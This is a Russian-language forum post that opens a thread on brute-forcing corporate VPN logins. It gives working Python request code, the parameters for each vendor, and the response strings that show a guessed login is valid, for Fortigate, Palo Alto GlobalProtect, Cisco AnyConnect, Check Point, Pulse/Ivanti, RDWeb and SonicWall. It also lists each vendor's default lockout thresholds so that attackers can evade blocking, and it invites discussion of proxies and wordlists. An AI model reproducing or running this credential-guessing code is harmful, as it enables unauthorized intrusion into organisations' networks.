Admin
Администратор
Брут корп впнов.
В этой теме можно обсудить реализации брута впнов и других удаленных точек входа в сеть, способов обхода блокировок, выбор проксей и словарей, и различные вопросы и решения связанные с этой темой, также предлагать свои реализации(скрипты, софты).
Начну с примеров определения валидных учеток, в качестве яп буду использовать Python:
Fortigate SSL-VPN
У фортиков форма отправки паролей ведет на url -https://hostЧтобы сформировать правильный post запрос нужно упаковать данные, следующим образом:
Python:
login, password = 'Jhon', 'P@$$W0RD'
post_params = {'ajax': '1', 'username': login, 'credential': password}
Теперь можно отправить запрос и получить ответ:
Python:
session = requests.Session()
url = 'https://target/remote/logincheck'
response = session.post(url, data=post_params, verify=False, allow_redirects=True)
Хорошо было бы добавлять заголовки(headers) в запрос. Если в теле ответа указан редирект на /remote/hostcheck_install значит, что логин и пароль угаданы верно. Покажу пример такого тела ответа:
'ret=1,redir=/remote/hostcheck_install?auth_type=1&user=скрыто&&grpname=скрыто&portal=скрыто&rip=скрыто&realm='
Стандартные настройки защиты по умолчанию пропускают 2 попытки входа и блокируют возможность аутентификации на 60 секунд. Это все настраивается в индивидуальном порядке админами сетей, диапазон значений блокировки ip адреса - от 0 до 3600 секунд.
На практике я встречал максимальную блокировку на 15 минут.
Palo alto global-protect ssl-vpn
url - https://hostУпаковка данных:
Python:
post_params = {'prot': '', 'server': target,'inputStr': '', 'action': 'getsoftware', 'user': login, 'passwd': password, 'new-passwd': '', 'confirm-new-passwd': '', 'ok': 'Log In'}
После того как отправили post запрос и получили ответ, понять что учетка валидная можно по редиректу на ../global-protect/getsoftwarepage.esp или наличию этого url в теле ответа:
Python:
if '<script>window.location=\"/global-protect/getsoftwarepage.esp?user=\";</script></html>' in response.text:
Стандартные значени защитных настроек: 9 попыток и 60 секунд бана ip атакуещего, это все настраивается в индивидуальном порядке админами сетей.
Cisco Anyconnect (+cscoe+)
url - https://hostУпаковка данных с этим вендором будет зависеть от того есть ли домен/группа для аутентификации, а также обязателен для отправки csrf_token.
Чтобы определить и собрать эти данные, нужно сделать предварительный GET запрос на url https://target/+CSCOE+/logon.html , csrf_token находится в input'е с атрибутом name, со значением csrf_token (input name="csrf_token" ), данный инпут скрыт, поэтому мы не увидим его если откроем страничку в браузере. Значения доменов/групп находятся в тегах option, их может быть несколько, записываем в параметр group_list.
Переходим к упаковке данных для POST запроса:
Python:
# Если домена/группы нет
post_params = {'tgroup': '', 'next': '', 'tgcookieset': '', 'csrf_token': csrf_token, 'username': login, 'password': password, 'Login': 'Login'}
# Если домен/группа есть
post_params = {'tgroup': '', 'next': '', 'tgcookieset': '', 'csrf_token': csrf_token, 'group_list': group, 'username': login, 'password': password, 'Login': 'Login'}
Также нужно указать в заголовках запроса csrf token:
Python:
headers = {'Host':target,'Cookie': f'webvpnlogin=1; webvpnLang=en; CSRFtoken={csrf_token}','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.','Content-Type': 'application/x-www-form-urlencoded','Content-Length': str(len(post_params)),'Origin': f'{target}'}
Теперь отправим post запрос:
Python:
session = requests.Session()
response = session.post(url, data=post_params, headers=headers, verify=False, allow_redirects=False, proxies=proxy)
Получив ответ, понять что заданная пара кред валидна, можем проверить по наличию строки /+CSCOE+/portal.html в теле ответа. Сюда бы отредиректило, если бы вы вручную в браузере ввели правильные креды.
Python:
if '/+CSCOE+/portal.html' in response.text:
По настройкам защиты, не нашел информации, если у кого есть админка или найдет информацию, пишите.
Check Point SSL VPN (Netextender)
url - https://hostПеред упаковкой данных для post запроса, нужно взять значение user_password.timestamp.value, его можно взять из тела ответа get запроса https://target . Вот как выглядит кусок html кода в котором лежит нужное значение:
HTML:
<script language="JavaScript">try { document.user_password.timestamp.value = "1761667214"; neo_upgrade_mode="0"; neo_upgrade_version=""; neo_upgrade_url=""; neo_saa_guilibs=""; neo_saa_url=""; } catch (e) {} </script>
Теперь упакуем параметры и заголовки (тут используются некоторые обязательные характерные для checkpoint заголовки):
Python:
post_params = {'username': login, 'password': password, 'reauthentication':'0', 'timestamp': time_stamp, 'iSecureId': ''}
headers = {'Host':target,'Cookie': f'host={target}; language=english; skin=skin1','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.','Content-Length': str(len(post_params)),'Content-Type': 'application/x-www-form-urlencoded','Upgrade-Insecure-Requests': '1','Origin': f'https://{target}', 'Referer': f'https://{target}/extender.html', 'Connection': 'keep-alive'}
Определить валидность учетки можно простой проверкой строки 'auth_id=' в теле ответа:
Python:
if 'auth_id=' in response.text:
Значения по умолчанию защитных настроек: 3 секунды задержки после 1 неудачной попытки; после 3 неудачных попыток - 300 секунд бана ip атакуещего, это все настраивается в индивидуальном порядке админами сетей.
Pulse/ivanti(dana-na)
url - https://hostНасчет url_default: у некотрых таргетов вместо default, может быть какое-то значение (url_J54G4W95GLHG например), это значение можно взять из url после редиректа с get запроса на https://target , или из ссылки на логотип таргета из html кода ответа.
Для упаковки данных, в этом случае потребуются все input поля из формы входа, которые берутся также предварительным GET запросом, я предоставлю имплементацию на python которой вы можете воспользоваться:
Python:
url_site = f'https://{target}/dana-na/auth/url_default/welcome.cgi'
request_html = requests.get(url_site, timeout=9, verify=False)
data_parse = {}
for line in request_html.text.split('input')[1:]:
x = line.split('name="')[1].split('"')[0]
if x == 'tz_offset':
data_parse[x] = '-300'
elif x == 'username':
data_parse[x] = login
elif x == 'password':
data_parse[x] = password
elif (x != 'tz_offset') and (x != 'username') and (x != 'password'):
data_parse[x] = line.split('value="')[1].split('">')[0]
else:
data_parse[x] = ''
#print(data_parse)
post_params = data_parse
Также если имеется группа/домен, берем их из тегов option и добавляем к данным для POST запроса, с именем параметра realm
Python:
post_params['realm'] = option
Так, как ответы успешной аутентификации у таргетов бывают нескольких типов а url ответа об ошибке одного типа, можно использовать проверку на то, чтобы '/welcome.cgi?p=failed' не находилась в url ответа:
Python:
if '/welcome.cgi?p=failed' not in response.url:
Значения по умолчанию защитных настроек: 3 неудачные попытки входа в минуту; Период блокировки = 2 минуты, это все настраивается в индивидуальном порядке админами сетей.
Rdweb
url - https://hostПредварительно парсим домен/группу из скрытого инпута с именем name="WorkSpaceID" и упаковываем данные:
Python:
post_params = 'DomainUserName={}%5C{}&UserPass={}'.format(domain, login, password)
Отправляем post запрос и если в ответе видим статус код редиректа, то это оказалась валидная учетка:
Python:
if 302 == response.status_code:
По умолчанию разрешено неограниченное количество попыток, переменные отвечающие за количество попыток и время бана учетки(по дефолту: 0xb40=2880 минут=2 дня) находятся в реестре HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Parameters\AccountLockout : MaxDenials и ResetTime , это все настраивается в индивидуальном порядке админами сетей.
SonicWall
Я пока нашел две формы аутентификации:1) url - https://host
Собираем домены/группы предварительно отправив get запрос на url https://{target}/__api__/v1/config/domains , в ответ получим json данные: нужные ключи - domainName; Запаковка данных:
Python:
domains = requests.get(f'https://{target}/__api__/v1/config/domains', timeout=9, verify=False).json()
for domainx in domains:
domainx = domainx['domainName']
post_params = {'userName': login, 'password': password, 'domainName': domainx}
После отправки post запроса с данными учетной записи, в ответ получим json ответ, понять что учетная запись валидна, можно по ключу status со значением success :
Python:
if response.json()['status'] == 'success':
2) url - https://host
Для сбора доменов/групп с такого формата соников, достаточно сделать get запрос на url https://{target}/cgi-bin/welcome и собрать значения всех тегов option. Для упаковки данных потребуется собрать все имена и и значения тегов input и составить словарь. Также в данном случае важно указать заголовки:
Python:
headers = {'Host':target,'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.', 'Content-Type': 'application/x-www-form-urlencoded','Content-Length': str(len(post_params)), 'Accept': 'application/json, text/javascript, */*', 'X-Requested-With': 'XMLHttpRequest', 'Sec-Ch-Ua-Platform': "Linux", 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Dest': 'empty', 'Referer': target, 'Accept-Encoding': 'gzip, deflate, br', 'Priority': 'u=1, i', 'Connection': 'keep-alive', 'Origin': f'{target}'}
Определяем валид по наличую данного url в теле ответа:
Python:
if '/cgi-bin/portal' in response.text: